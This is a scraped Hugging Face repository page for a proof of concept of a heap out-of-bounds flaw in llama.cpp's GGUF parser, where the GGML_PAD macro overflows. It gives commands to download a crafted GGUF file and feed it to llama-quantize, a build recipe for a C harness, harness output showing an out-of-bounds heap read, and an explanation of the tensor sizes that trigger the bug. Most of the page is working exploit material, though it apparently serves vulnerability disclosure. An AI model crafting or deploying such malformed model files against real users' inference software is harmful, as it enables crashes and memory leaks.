Downloads · 30 days
9
4% of all-time downloads
blackr0se1/llama-cpp-gguf-pad-overflow-poc
llama-cpp-gguf-pad-overflow-poc is a machine learning model from blackr0se1. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
- pocmulti.gguf - Crafted GGUF file (256 bytes) that triggers the vulnerability - craftggufpoc.py - Python script that generates the PoC file - poctest.c - Minimal C test harness that demonstrates the heap OOB
Downloads · 30 days
9
4% of all-time downloads
All-time downloads
230
Public
Repo size
—
Likes
0
Public
Click a slice to open those files.
.py9.7 KB · 55%
From the Hugging Face model README
poc_multi.gguf - Crafted GGUF file (256 bytes) that triggers the vulnerabilitycraft_gguf_poc.py - Python script that generates the PoC filepoc_test.c - Minimal C test harness that demonstrates the heap OOBgit clone https://github.com/ggml-org/llama.cpp.git
cd llama.cpp
cmake -B build -DCMAKE_BUILD_TYPE=Debug
cmake --build build --target llama-quantize -j$(nproc)
# Download the PoC file
wget https://huggingface.co/blackr0se1/llama-cpp-gguf-pad-overflow-poc/resolve/main/poc_multi.gguf
# Run quantize with the crafted file as imatrix (triggers no_alloc=false path)
./build/bin/llama-quantize --imatrix poc_multi.gguf /dev/null /dev/null Q4_0
The tool will either crash or exhibit undefined behavior due to the heap buffer underallocation.
# Download all files from this repo
wget https://huggingface.co/blackr0se1/llama-cpp-gguf-pad-overflow-poc/resolve/main/poc_multi.gguf
wget https://huggingface.co/blackr0se1/llama-cpp-gguf-pad-overflow-poc/resolve/main/poc_test.c
# Compile the test harness against llama.cpp's libraries
cc -o poc_test poc_test.c \
-I llama.cpp/ggml/include \
-L llama.cpp/build/bin \
-lggml -lggml-base -lggml-cpu \
-lstdc++ -lm -lpthread
# Run (adjust library path for your platform)
# macOS:
DYLD_LIBRARY_PATH=llama.cpp/build/bin ./poc_test poc_multi.gguf
# Linux:
LD_LIBRARY_PATH=llama.cpp/build/bin ./poc_test poc_multi.gguf
[+] GGUF file parsed successfully!
Version: 3
Alignment: 32
N tensors: 2
Tensor 0: "tensor_a"
ggml_nbytes: 64 (0x40)
data ptr: 0x10264c170
Tensor 1: "tensor_b"
ggml_nbytes: 18446744073709551612 (0xFFFFFFFFFFFFFFFC)
data ptr: 0x10264c1b0
[!] OVERFLOW DETECTED: tensor claims 18446744073709551612 bytes
[!] But ctx->size (allocation) is only ~64 bytes!
[!] Attempting OOB read from tensor B data...
[!] OOB read succeeded: 0xD0 (heap data leak)
Tensor B's data pointer (0x10264c1b0) is exactly 64 bytes past Tensor A (0x10264c170), confirming it points past the end of the 64-byte allocated buffer.
The GGUF file contains two tensors. Tensor B has ne[0] = 2^63 - 2 with type F16 (type_size=2), making ggml_nbytes = 2^64 - 4. The GGML_PAD macro overflows this to 0, so the parser thinks Tensor B needs 0 bytes. Only 64 bytes are allocated (for Tensor A), but Tensor B's data pointer is set 64 bytes into this buffer - past the end.